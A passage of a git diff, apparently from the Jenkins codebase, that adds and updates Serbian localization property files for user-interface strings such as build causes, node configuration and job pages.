\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0443\u0458\u0442\u0435 \u0441\u0435 \u0441\u0430\u0434\u0430. diff --git a/core/src/main/resources/hudson/model/BooleanParameterDefinition/config_sr.properties b/core/src/main/resources/hudson/model/BooleanParameterDefinition/config_sr.properties new file mode 100644 index 0000000000..93b803761e --- /dev/null +++ b/core/src/main/resources/hudson/model/BooleanParameterDefinition/config_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Name=\u0418\u043C\u0435 +Default\ Value=\u0421\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u0430 \u0432\u0440\u0435\u0434\u043D\u043E\u0441\u0442 +Description=\u041E\u043F\u0438\u0441 diff --git a/core/src/main/resources/hudson/model/BuildAuthorizationToken/config_sr.properties b/core/src/main/resources/hudson/model/BuildAuthorizationToken/config_sr.properties new file mode 100644 index 0000000000..b0b2e90cf5 --- /dev/null +++ b/core/src/main/resources/hudson/model/BuildAuthorizationToken/config_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +Trigger\ builds\ remotely=\u041F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 \u0441\u0430 \u0434\u0430\u043B\u0435\u043A\u0430 +e.g.,\ from\ scripts=\u043D\u043F\u0440. \u043E\u0434 \u0441\u043A\u0440\u0438\u043F\u0442\u043E\u0432\u0430 +Authentication\ Token=\u0422\u043E\u043A\u0435\u043D \u0437\u0430 \u0430\u0443\u0442\u0435\u043D\u0442\u0438\u043A\u0430\u0446\u0438\u0458\u0443 +Use\ the\ following\ URL\ to\ trigger\ build\ remotely\:=\u041A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u0441\u043B\u0435\u0434\u0435\u045B\u0443 \u0430\u0434\u0440\u0435\u0441\u0443 \u0434\u0430 \u0431\u0438 \u043F\u043E\u043A\u0440\u0435\u043D\u0443\u043B\u0438 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u0441\u0430 \u0434\u0430\u043B\u0435\u043A\u0430: +or=\u0438\u043B\u0438 +Optionally\ append\ &cause\=Cause+Text\ to\ provide\ text\ that\ will\ be\ included\ in\ the\ recorded\ build\ cause.=\u041C\u043E\u0436\u0435\u0442\u0435 \u043D\u0430\u0432\u0435\u0441\u0442\u0438 \u043E\u0431\u0458\u0430\u0448\u045A\u0435\u045A\u0435 \u0437\u0430 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443, &cause\=\u043E\u0431\u0458\u0430\u0448\u045A\u0435\u045A\u0435+\u0437\u0430+\u0440\u0430\u0437\u043B\u043E\u0433 \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/Cause/UpstreamCause/description_sr.properties b/core/src/main/resources/hudson/model/Cause/UpstreamCause/description_sr.properties new file mode 100644 index 0000000000..327dc42583 --- /dev/null +++ b/core/src/main/resources/hudson/model/Cause/UpstreamCause/description_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +started_by_project=\u0417\u0430\u043F\u043E\u0447\u0435\u0442\u043E \u043E\u0434 \u0441\u0442\u0440\u0430\u043D\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 {0} \u0431\u0440\u043E\u0458 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 {1} +started_by_project_with_deleted_build=\u0417\u0430\u043F\u043E\u0447\u0435\u0442\u043E \u043E\u0434 \u0441\u0442\u0440\u0430\u043D\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 {0} \u0431\u0440\u043E\u0458 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 {1} +caused_by=\u043F\u0440\u0432\u043E\u0431\u0438\u0442\u043D\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0443\u0442 \u0437\u0431\u043E\u0433: diff --git a/core/src/main/resources/hudson/model/Cause/UserCause/description_sr.properties b/core/src/main/resources/hudson/model/Cause/UserCause/description_sr.properties new file mode 100644 index 0000000000..def7294073 --- /dev/null +++ b/core/src/main/resources/hudson/model/Cause/UserCause/description_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +started_by_user=\u041F\u043E\u043A\u0440\u0435\u043D\u0443\u0442 \u043E\u0434 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430 {0} diff --git a/core/src/main/resources/hudson/model/Cause/UserIdCause/description_sr.properties b/core/src/main/resources/hudson/model/Cause/UserIdCause/description_sr.properties new file mode 100644 index 0000000000..8b7e590e9f --- /dev/null +++ b/core/src/main/resources/hudson/model/Cause/UserIdCause/description_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +started_by_user=\u041F\u043E\u043A\u0440\u0435\u043D\u0443\u0442 \u043E\u0434 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430 {1} +started_by_anonymous=\u041F\u043E\u043A\u0440\u0435\u043D\u0443\u0442\u043E \u0430\u043D\u043E\u043D\u0438\u043C\u043D\u0438\u043C \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u043E\u043C diff --git a/core/src/main/resources/hudson/model/CauseAction/summary_sr.properties b/core/src/main/resources/hudson/model/CauseAction/summary_sr.properties new file mode 100644 index 0000000000..54014aff1e --- /dev/null +++ b/core/src/main/resources/hudson/model/CauseAction/summary_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Ntimes=({0} \u043F\u0443\u0442\u0430) diff --git a/core/src/main/resources/hudson/model/ChoiceParameterDefinition/config_sr.properties b/core/src/main/resources/hudson/model/ChoiceParameterDefinition/config_sr.properties new file mode 100644 index 0000000000..70ec444ad4 --- /dev/null +++ b/core/src/main/resources/hudson/model/ChoiceParameterDefinition/config_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Name=\u0418\u043C\u0435 +Choices=\u0412\u0430\u0440\u0438\u0430\u043D\u0442\u0438 +Description=\u041E\u043F\u0438\u0441 diff --git a/core/src/main/resources/hudson/model/Computer/_script_sr.properties b/core/src/main/resources/hudson/model/Computer/_script_sr.properties new file mode 100644 index 0000000000..81b70f44fd --- /dev/null +++ b/core/src/main/resources/hudson/model/Computer/_script_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +This\ execution\ happens\ in\ the\ slave\ agent\ JVM.=\u0418\u0437\u0432\u0440\u0448\u0430\u0432\u0430 \u0441\u0435 \u043D\u0430 Java \u0432\u0438\u0440\u0442\u0443\u0435\u043B\u043D\u043E\u0458 \u043C\u0430\u0448\u0438\u043D\u0438 \u043D\u0430 \u0434\u0440\u0443\u0433\u043E\u043C \u0440\u0430\u0447\u0443\u043D\u0430\u0440\u0443. +This\ execution\ happens\ in\ the\ agent\ JVM.=\u0418\u0437\u0432\u0440\u0448\u0430\u0432\u0430 \u0441\u0435 \u043D\u0430 Java \u0432\u0438\u0440\u0442\u0443\u0435\u043B\u043D\u043E\u0458 \u043C\u0430\u0448\u0438\u043D\u0438 \u043D\u0430 \u0434\u0440\u0443\u0433\u043E\u043C \u0440\u0430\u0447\u0443\u043D\u0430\u0440\u0443. diff --git a/core/src/main/resources/hudson/model/Computer/builds_sr.properties b/core/src/main/resources/hudson/model/Computer/builds_sr.properties new file mode 100644 index 0000000000..2594501fed --- /dev/null +++ b/core/src/main/resources/hudson/model/Computer/builds_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +title=\u0418\u0441\u0442\u043E\u0440\u0438\u0458\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u043D\u0430 {0} diff --git a/core/src/main/resources/hudson/model/Computer/configure_sr.properties b/core/src/main/resources/hudson/model/Computer/configure_sr.properties new file mode 100644 index 0000000000..cf5adb2c26 --- /dev/null +++ b/core/src/main/resources/hudson/model/Computer/configure_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +title=\u041F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 "{0}" +Name=\u0418\u043C\u0435 +Save=\u0421\u0430\u0447\u0443\u0432\u0430\u0458 +Name\ is\ mandatory=\u0418\u043C\u0435 \u0458\u0435 \u043E\u0431\u0430\u0432\u0435\u0437\u043D\u043E diff --git a/core/src/main/resources/hudson/model/Computer/delete_sr.properties b/core/src/main/resources/hudson/model/Computer/delete_sr.properties new file mode 100644 index 0000000000..c6c8363f2e --- /dev/null +++ b/core/src/main/resources/hudson/model/Computer/delete_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Are\ you\ sure\ about\ deleting\ the\ agent?=\u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u0441\u0438\u0433\u0443\u0440\u043D\u0438 \u0434\u0430 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u0443\u043A\u043B\u043E\u043D\u0438\u0442\u0435 \u0430\u0433\u0435\u043D\u0442\u0430? +Yes=\u0414\u0430 +Are\ you\ sure\ about\ deleting\ the\ slave?=\u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u0441\u0438\u0433\u0443\u0440\u043D\u0438 \u0434\u0430 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u0443\u043A\u043B\u043E\u043D\u0438\u0442\u0435 \u043F\u043E\u043C\u043E\u045B\u043D\u0438\u043A\u0430? diff --git a/core/src/main/resources/hudson/model/Computer/index_sr.properties b/core/src/main/resources/hudson/model/Computer/index_sr.properties new file mode 100644 index 0000000000..461b703655 --- /dev/null +++ b/core/src/main/resources/hudson/model/Computer/index_sr.properties @@ -0,0 +1,13 @@ +# This file is under the MIT License by authors + +submit.temporarilyOffline=\u041F\u043E\u043D\u043E\u0432\u043E \u043F\u0440\u0438\u043A\u043E\u043F\u0447\u0430\u0458 \u043C\u0430\u0448\u0438\u043D\u0443 +submit.updateOfflineCause=\u0410\u0436\u0443\u0440\u0438\u0440\u0430\u0458 \u0440\u0430\u0437\u043B\u043E\u0433 \u043E\u0442\u043A\u043E\u043F\u0447\u0435\u045A\u0430 +submit.not.temporarilyOffline= +title.no_manual_launch=Availability policy \u0437\u0430 \u043C\u0430\u0448\u0438\u043D\u0443 \u0458\u0435: \u201C{0}\u201D, \u0448\u0442\u043E \u0438\u0437\u0438\u0441\u043A\u0430\u0432\u0430 \u0434\u0430 \u043C\u0430\u0448\u0438\u043D\u0430 \u0441\u0430\u0434\u0430 \u0431\u0443\u0434\u0435 \u0431\u0438\u043B\u0430 \u043D\u0435\u043F\u043E\u0432\u0435\u0437\u0430\u043D\u0430. +Created\ by=\u041A\u0440\u0435\u0438\u0440\u0430\u043D\u043E \u043E\u0434 \u0441\u0442\u0440\u0430\u043D\u0435 +anonymous\ user=\u0430\u043D\u043E\u043D\u0438\u043C\u043D\u0438 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A +Labels=\u041B\u0430\u0431\u0435\u043B\u0435 +title.projects_tied_on=\u041F\u0440\u043E\u0458\u0435\u043A\u0442\u0438 \u0432\u0435\u0437\u0430\u043D\u0438 \u043D\u0430 {0} +None=\u041D\u0435\u043C\u0430 +Labels\=\u30E9\u30D9\u30EB= +Labels\:=\u041B\u0430\u0431\u0435\u043B\u0430: diff --git a/core/src/main/resources/hudson/model/Computer/markOffline_sr.properties b/core/src/main/resources/hudson/model/Computer/markOffline_sr.properties new file mode 100644 index 0000000000..2d2ee65ad8 --- /dev/null +++ b/core/src/main/resources/hudson/model/Computer/markOffline_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +title=\u041E\u0442\u043A\u043E\u043F\u0447\u0430\u0432\u0430 {0} +blurb=\u041C\u043E\u0436\u0435\u0442\u0435 \u043E\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0440\u0430\u0437\u043B\u043E\u0433 \u0437\u0430\u0448\u0442\u043E \u0458\u0435 \u0432\u0430\u0448 \u0440\u0430\u0447\u0443\u043D\u0430\u0440 \u0458\u0435 \u0442\u0440\u0435\u043D\u0443\u0442\u043D\u043E \u0432\u0430\u043D \u043C\u0440\u0435\u0436\u0435: +submit=\u041F\u0440\u0438\u0432\u0440\u0435\u043C\u0435\u043D\u043E \u043E\u0442\u043A\u043E\u043F\u0447\u0430\u0458 \u043E\u0432\u0443 \u043C\u0430\u0448\u0438\u043D\u0443 diff --git a/core/src/main/resources/hudson/model/Computer/setOfflineCause_sr.properties b/core/src/main/resources/hudson/model/Computer/setOfflineCause_sr.properties new file mode 100644 index 0000000000..9fdc2865e3 --- /dev/null +++ b/core/src/main/resources/hudson/model/Computer/setOfflineCause_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +title=\u0420\u0430\u0437\u043B\u043E\u0433 \u043E\u0442\u043A\u043E\u043F\u0447\u0430\u045A\u0430 {0} +blurb=\u041C\u043E\u0436\u0435\u0442\u0435 \u043F\u043E\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0438\u043B\u0438 \u043F\u0440\u043E\u043C\u0435\u043D\u0438\u0442\u0438 \u0440\u0430\u0437\u043B\u043E\u0433 \u0437\u0430\u0448\u0442\u043E \u0458\u0435 \u0442\u0440\u0435\u043D\u0443\u0442\u043D\u043E \u043E\u0432\u0430 \u043C\u0430\u0448\u0438\u043D\u0430 \u0432\u0430\u043D \u043C\u0440\u0435\u0436\u0435: +submit=\u0410\u0436\u0443\u0440\u0438\u0440\u0430\u0458 \u0440\u0430\u0437\u043B\u043E\u0433 diff --git a/core/src/main/resources/hudson/model/Computer/sidepanel_sr.properties b/core/src/main/resources/hudson/model/Computer/sidepanel_sr.properties new file mode 100644 index 0000000000..f81eb73cd6 --- /dev/null +++ b/core/src/main/resources/hudson/model/Computer/sidepanel_sr.properties @@ -0,0 +1,10 @@ +# This file is under the MIT License by authors + +Back\ to\ List=\u041D\u0430\u0437\u0430\u0434 +Status=\u0421\u0442\u0430\u045A\u0435 +Delete\ Agent=\u0423\u043A\u043B\u043E\u043D\u0438 \u0430\u0433\u0435\u043D\u0442 +Configure=\u041F\u043E\u0434\u0435\u0441\u0438 +Build\ History=\u0418\u0441\u0442\u043E\u0440\u0438\u0458\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +Load\ Statistics=\u0423\u0447\u0438\u0442\u0430\u0458 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043A\u0443 +Script\ Console=\u041A\u043E\u043D\u0437\u043E\u043B\u0430 +Delete\ Slave=\u0423\u043A\u043B\u043E\u043D\u0438 \u043F\u043E\u043C\u043E\u045B\u043D\u0438\u043A\u0430 diff --git a/core/src/main/resources/hudson/model/ComputerSet/_new_sr.properties b/core/src/main/resources/hudson/model/ComputerSet/_new_sr.properties new file mode 100644 index 0000000000..6fddb66c36 --- /dev/null +++ b/core/src/main/resources/hudson/model/ComputerSet/_new_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Name=\u0418\u043C\u0435 +Name\ is\ mandatory=\u0418\u043C\u0435 \u0458\u0435 \u043E\u0431\u0430\u0432\u0435\u0437\u043D\u043E +Save=\u0421\u0430\u0447\u0443\u0432\u0430\u0458 diff --git a/core/src/main/resources/hudson/model/ComputerSet/configure_sr.properties b/core/src/main/resources/hudson/model/ComputerSet/configure_sr.properties new file mode 100644 index 0000000000..00670084b5 --- /dev/null +++ b/core/src/main/resources/hudson/model/ComputerSet/configure_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Node\ Monitoring\ Configuration=\u041F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u045A\u0435 \u043C\u0430\u0448\u0438\u043D\u0435 +Preventive\ Node\ Monitoring=\u041F\u0440\u0435\u0432\u0435\u043D\u0442\u0438\u0432\u043D\u043E \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u045A\u0435 \u043C\u0430\u0448\u0438\u043D\u0435 +OK=\u0423\u0440\u0435\u0434\u0443 diff --git a/core/src/main/resources/hudson/model/ComputerSet/index_sr.properties b/core/src/main/resources/hudson/model/ComputerSet/index_sr.properties new file mode 100644 index 0000000000..a0f680dcf5 --- /dev/null +++ b/core/src/main/resources/hudson/model/ComputerSet/index_sr.properties @@ -0,0 +1,7 @@ +# This file is under the MIT License by authors + +Nodes=\u041C\u0430\u0448\u0438\u043D\u0435 +Name=\u0418\u043C\u0435 +Configure=\u041F\u043E\u0434\u0435\u0441\u0438 +Data\ obtained=\u0423\u0447\u0438\u0442\u0430\u043D\u0438 \u043F\u043E\u0434\u0430\u0446\u0438 +Refresh\ status=\u0421\u0442\u0430\u045A\u0435 \u043E\u0441\u0432\u0435\u0436\u0438\u0432\u0430\u045A\u0430 diff --git a/core/src/main/resources/hudson/model/ComputerSet/new_sr.properties b/core/src/main/resources/hudson/model/ComputerSet/new_sr.properties new file mode 100644 index 0000000000..04557e8182 --- /dev/null +++ b/core/src/main/resources/hudson/model/ComputerSet/new_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Copy\ Existing\ Node=\u041A\u043E\u043F\u0438\u0440\u0430\u0458 \u043F\u043E\u0441\u0442\u0430\u0458\u0435\u045B\u0443 \u043C\u0430\u0448\u0438\u043D\u0443 +Node\ name=\u0418\u043C\u0435 \u043C\u0430\u0448\u0438\u043D\u0435 diff --git a/core/src/main/resources/hudson/model/ComputerSet/sidepanel_sr.properties b/core/src/main/resources/hudson/model/ComputerSet/sidepanel_sr.properties new file mode 100644 index 0000000000..63c9954c74 --- /dev/null +++ b/core/src/main/resources/hudson/model/ComputerSet/sidepanel_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +Manage\ Jenkins=\u0423\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 Jenkins-\u043E\u043C +New\ Node=\u041D\u043E\u0432\u0430 \u043C\u0430\u0448\u0438\u043D\u0430 +Configure=\u041F\u043E\u0434\u0435\u0441\u0438 +Back\ to\ Dashboard=\u041D\u0430\u0437\u0430\u0434 \u043A\u0430 \u043A\u043E\u043D\u0442\u0440\u043E\u043B\u043D\u0443 \u043F\u0430\u043D\u0435\u043B\u0443 diff --git a/core/src/main/resources/hudson/model/DirectoryBrowserSupport/dir_sr.properties b/core/src/main/resources/hudson/model/DirectoryBrowserSupport/dir_sr.properties new file mode 100644 index 0000000000..a180d29f88 --- /dev/null +++ b/core/src/main/resources/hudson/model/DirectoryBrowserSupport/dir_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +No\ files\ in\ directory=\u041D\u0435\u043C\u0430 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u0443 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C\u0443 +view=\u041F\u0440\u0438\u043A\u0430\u0436\u0438 +all\ files\ in\ zip=\u0441\u0432\u0435 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435 \u0443 zip \u0430\u0440\u0445\u0438\u0432\u0438 diff --git a/core/src/main/resources/hudson/model/EnvironmentContributor/EnvVarsHtml/index_sr.properties b/core/src/main/resources/hudson/model/EnvironmentContributor/EnvVarsHtml/index_sr.properties new file mode 100644 index 0000000000..612256967d --- /dev/null +++ b/core/src/main/resources/hudson/model/EnvironmentContributor/EnvVarsHtml/index_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Available\ Environmental\ Variables=\u0421\u043B\u043E\u0431\u043E\u0434\u043D\u0438\u0445 \u0413\u043B\u043E\u0431\u0430\u043B\u043D\u0438\u0445 \u041F\u0440\u043E\u043C\u0435\u043D\u0459\u0438\u0432\u0430 +The\ following\ variables\ are\ available\ to\ shell\ scripts=\u041F\u0440\u0430\u0442\u0435\u045B\u0430 \u043F\u0440\u043E\u043C\u0435\u043D\u0459\u0438\u0432\u0430 \u0441\u0443 \u0434\u043E\u0441\u0442\u0443\u043F\u043Da \u043F\u0440\u043E\u0433\u0440\u0430\u043C\u0438\u043C\u0430 \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/FileParameterDefinition/config_sr.properties b/core/src/main/resources/hudson/model/FileParameterDefinition/config_sr.properties new file mode 100644 index 0000000000..fb816e91a0 --- /dev/null +++ b/core/src/main/resources/hudson/model/FileParameterDefinition/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +File\ location=\u041B\u043E\u043A\u0430\u0446\u0438\u0458\u0430 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435 +Description=\u041E\u043F\u0438\u0441 diff --git a/core/src/main/resources/hudson/model/FileParameterValue/value_sr.properties b/core/src/main/resources/hudson/model/FileParameterValue/value_sr.properties new file mode 100644 index 0000000000..9436855e09 --- /dev/null +++ b/core/src/main/resources/hudson/model/FileParameterValue/value_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +view=\u043F\u0440\u0435\u0433\u043B\u0435\u0434 diff --git a/core/src/main/resources/hudson/model/Fingerprint/index_sr.properties b/core/src/main/resources/hudson/model/Fingerprint/index_sr.properties new file mode 100644 index 0000000000..d348edb207 --- /dev/null +++ b/core/src/main/resources/hudson/model/Fingerprint/index_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +Back\ to\ Dashboard=\u041D\u0430\u0437\u0430\u0434 \u043A\u0430 \u043A\u043E\u043D\u0442\u0440\u043E\u043B\u043D\u0443 \u043F\u0430\u043D\u0435\u043B\u0443 +introduced=\u0418\u0437\u0458\u0430\u0432\u0459\u0435\u043D\u043E \u043F\u0440\u0435 {0} +outside\ Jenkins=\u0438\u0437\u0432\u0430\u043D Jenkins +Usage=\u0418\u0441\u043A\u043E\u0440\u0438\u0448\u045B\u0435\u045A\u0435 +This\ file\ has\ not\ been\ used\ anywhere\ else.=\u041E\u0432\u0430 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u043D\u0438\u0458\u0435 \u0434\u0440\u0443\u0433\u0434\u0435 \u043A\u043E\u0440\u0438\u0448\u045B\u0435\u043D\u0430. +This\ file\ has\ been\ used\ in\ the\ following\ places=\u041E\u0432\u0430 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u0441\u0435 \u043A\u043E\u0440\u0438\u0441\u0442\u0438 \u043A\u043E\u0434: diff --git a/core/src/main/resources/hudson/model/JDK/config_sr.properties b/core/src/main/resources/hudson/model/JDK/config_sr.properties new file mode 100644 index 0000000000..2fbb8bde38 --- /dev/null +++ b/core/src/main/resources/hudson/model/JDK/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Name=\u0418\u043C\u0435 diff --git a/core/src/main/resources/hudson/model/Job/buildTimeTrend_sr.properties b/core/src/main/resources/hudson/model/Job/buildTimeTrend_sr.properties new file mode 100644 index 0000000000..7dae472f70 --- /dev/null +++ b/core/src/main/resources/hudson/model/Job/buildTimeTrend_sr.properties @@ -0,0 +1,10 @@ +# This file is under the MIT License by authors + +title={0} \u0442\u0440\u0435\u043D\u0434 \u0432\u0440\u0435\u043C\u0435\u043D\u0443 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 +Timeline=\u0412\u0440\u0435\u043C\u0435 +Build\ Time\ Trend=\u0422\u0440\u0435\u043D\u0434 \u0432\u0440\u0435\u043C\u0435\u043D\u0443 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 +Build=\u0418\u0437\u0433\u0440\u0430\u0434\u0438 +Duration=\u0422\u0440\u0430\u0458\u0430\u045A\u0435 +Agent=\u0410\u0433\u0435\u043D\u0442 +Slave=\u041F\u043E\u043C\u043E\u045B\u043D\u0438\u043A +More\ than\ 1\ builds\ are\ needed\ for\ the\ trend\ report.=\u0412\u0438\u0448\u0435 \u043E\u0434 \u0458\u0435\u0434\u043D\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 \u0458\u0435 \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0437\u0430 \u0440\u0435\u043F\u043E\u0440\u0442\u0430\u0436\u0443 \u0442\u0440\u0435\u043D\u0434\u0430. diff --git a/core/src/main/resources/hudson/model/Job/configure_sr.properties b/core/src/main/resources/hudson/model/Job/configure_sr.properties new file mode 100644 index 0000000000..67e427cfa1 --- /dev/null +++ b/core/src/main/resources/hudson/model/Job/configure_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +LOADING=\u0423\u0447\u0438\u0442\u0430\u0432\u0430\u045A\u0435 +name={0} \u0438\u043C\u0435 +Description=\u041E\u043F\u0438\u0441 +Save=\u0421\u0430\u0447\u0443\u0432\u0430\u0458 +Apply=\u041F\u0440\u0438\u043C\u0435\u043D\u0438 +Strategy=\u0428\u0435\u043C\u0430 diff --git a/core/src/main/resources/hudson/model/Job/index_sr.properties b/core/src/main/resources/hudson/model/Job/index_sr.properties new file mode 100644 index 0000000000..0d0ed0e2e7 --- /dev/null +++ b/core/src/main/resources/hudson/model/Job/index_sr.properties @@ -0,0 +1,12 @@ +# This file is under the MIT License by authors + +Full\ project\ name=\u041F\u0443\u043D\u043E \u0438\u043C\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 +Project\ name=\u0418\u043C\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 +Disable\ Project=\u041E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0438 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 +Enable=\u041E\u043C\u043E\u0433\u0443\u045B\u0443 +This\ project\ is\ currently\ disabled=\u041E\u0432\u0430\u0458 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u0458\u0435 \u0442\u0440\u0435\u043D\u0443\u0442\u043D\u043E \u043E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0435\u043D +Permalinks=\u0422\u0440\u0430\u0458\u043D\u0438 \u043B\u0438\u043D\u043A\u043E\u0432\u0438 +Last\ build=\u0417\u0430\u0434\u045A\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +Last\ stable\ build=\u0417\u0430\u0434\u045A\u0430 \u0441\u0442\u0430\u0431\u0438\u043B\u043D\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +Last\ successful\ build=\u0417\u0430\u0434\u045A\u0430 \u0443\u0441\u043F\u0435\u0448\u043D\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +Last\ failed\ build=\u0417\u0430\u0434\u045A\u0430 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 diff --git a/core/src/main/resources/hudson/model/Job/permalinks_sr.properties b/core/src/main/resources/hudson/model/Job/permalinks_sr.properties index 875957e4c1..32c60f83c1 100644 --- a/core/src/main/resources/hudson/model/Job/permalinks_sr.properties +++ b/core/src/main/resources/hudson/model/Job/permalinks_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Permalinks=Linkovi +Permalinks=\u0422\u0440\u0430\u0458\u043D\u0438 \u043B\u0438\u043D\u043A\u043E\u0432\u0438 diff --git a/core/src/main/resources/hudson/model/Job/rename_sr.properties b/core/src/main/resources/hudson/model/Job/rename_sr.properties new file mode 100644 index 0000000000..531c0a4225 --- /dev/null +++ b/core/src/main/resources/hudson/model/Job/rename_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +noRenameWhileBuilding=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u043F\u0440\u0435\u0438\u043C\u0435\u043D\u043E\u0432\u0430\u0442\u0438 \u0437\u0430\u0434\u0430\u0442\u0430\u043A \u0434\u043E\u043A \u0441\u0435 \u0433\u0440\u0430\u0434\u0438. +configWasSaved=\u0421\u0432\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0441\u0443 \u0441\u0430\u0447\u0443\u0432\u0430\u043D\u0430. +newNameInUse=\u0418\u043C\u0435 {0} \u0458\u0435 \u0437\u0430\u0443\u0437\u0435\u0442\u043E. +description=\u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u0441\u0438\u0433\u0443\u0440\u043D\u0438 \u0434\u0430 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u043F\u0440\u0435\u0438\u043C\u0435\u043D\u0443\u0458\u0435\u0442\u0435 "{0}" \u0443 "{1}"? +Yes=\u0414\u0430 +No=\u041D\u0435 diff --git a/core/src/main/resources/hudson/model/Job/requirePOST_sr.properties b/core/src/main/resources/hudson/model/Job/requirePOST_sr.properties new file mode 100644 index 0000000000..d1f040363e --- /dev/null +++ b/core/src/main/resources/hudson/model/Job/requirePOST_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +Form\ post\ required=\u0422\u0440\u0435\u0431\u0430\u043B\u043E \u0431\u0438 \u043F\u043E\u0434\u043D\u0435\u0442\u0438 \u043E\u0431\u0440\u0430\u0437\u0430\u0446 \u043F\u0440\u0435\u043A\u043E "POST". +use_post=\u041C\u043E\u0440\u0430\u0442\u0435 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0438 \u043C\u0435\u0442\u043E\u0434 POST \u0434\u0430 \u0438\u0437\u0430\u0437\u043E\u0432\u0435\u0442\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435.\ +\u0410\u043A\u043E \u0432\u0430\u043C \u0458\u0435 \u043E\u0432\u0430 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0430 